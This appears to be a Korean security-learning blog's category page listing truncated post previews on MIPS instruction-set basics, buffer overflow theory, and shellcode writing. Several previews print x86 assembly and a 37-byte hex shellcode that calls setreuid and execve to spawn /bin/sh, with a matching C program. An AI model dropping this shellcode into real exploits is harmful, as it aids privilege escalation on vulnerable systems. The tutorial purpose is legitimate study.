목록System (21)
Hacking Arts
Linux/MIPS - execve /bin/sh - 48 bytes https://www.exploit-db.com/exploits/18162/ 0x00400630 :sltia2,zero,-1 # a2 reg 초기화0x00400634 :luit7,0x2f2f# t7 reg에 2f2f0000으로
1. 명령어 집합(instruction set) 특정한 구조가 이해할 수 있는 명령어들의 집합 - 컴퓨터 하드웨어에게 일을 시킬 수 있는 도구, 언어의 집합 2. 내장 프로그램(stored-program)개념 여러 종류의 데이터와 명령어를 메모리에 숫자로 저장할 수 있다는 개념. 이 개념에 따라 내장 프로그램 컴퓨터가 만들어짐 3. 워드(word) 컴퓨터에서 자연스러운 접근 단위. 보통 32비트이다. MIPS 구조에서 레지스터 크기에 해당한다. 4. 데이터 전송(data transfer)명령 메모리와 레지스터 사이에서 데이터를 이동하는 명령어. 5. 메모리 주소 메모리 배열 내에서 특정 데이터 요소의 위치를 표시하는데 사용하는 값. 6. 정렬 제약(alignment restriction) 메모리 내에서 ..
.globl main main : mov $0x31,%alint $0x80mov %eax,%ebxmov %eax,%ecxxor %eax,%eaxmov $0x46,%alint $0x80 push %eaxpush $0x68732F2Fpush $0x6E69622Fmov %esp,%ebxpush %eaxpush %ebxmov %esp,%ecxmov %eax,%edxmov $0xb,%alint $0x80-37byte assembly code \xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80-37byt..
#include int main(void){char *sh[2];sh[0]="/bin/sh";sh[1]=NULL;setreuid(geteuid(), geteuid());execve(sh[0], sh, 0);return 0;} -위 그림은 sh을 실행시키는 C코드다. .globl main main : push %ebpmov %esp,%ebp xor %eax,%eaxxor %ebx,%ebxxor %ecx,%ecxxor %edx,%edx mov $0x31,%alint $0x80mov %eax,%ebxmov %eax,%ecxxor %eax,%eaxmov $0x46,%alint $0x80 push %eaxpush $0x68732F2Fpush $0x6E69622Fmov %esp,%ebxpush %eaxpush %e..
Buffer Over Flow 1.알기전 알아 두어야 할 사항- stack frame구조에 대한 상식이 필요하다.- 프로세스가 메모리에 올라 갔을 때 어떤 방식으로 동작하는 지에 대한 이해가 필요하다.- 기본적인 어셈블리어와 레지스터에 대한 상식이 필요하다.- 즉, 전반적인 시스템 상식을 요구한다. 2.이론- BOF란 말 그대로 하면 Buffer라는 곳을 흘러 넘치게 하는 것이다.- 아래 그림을 이용해서 설명하도록 하겠다. 기본적으로 프로세스가 실행되면 push %ebp, mov %esp,%ebp 이런식으로 실행하게 된다. 이것을 stack frame이라고 부르는데 프로그램 내부에 함수가 호출 되었을 때 기존의 함수로 다시 돌아오기 위해 사용되는 것이다.- 그리고 저 구조가 끝나면 leave가 실행되고 ..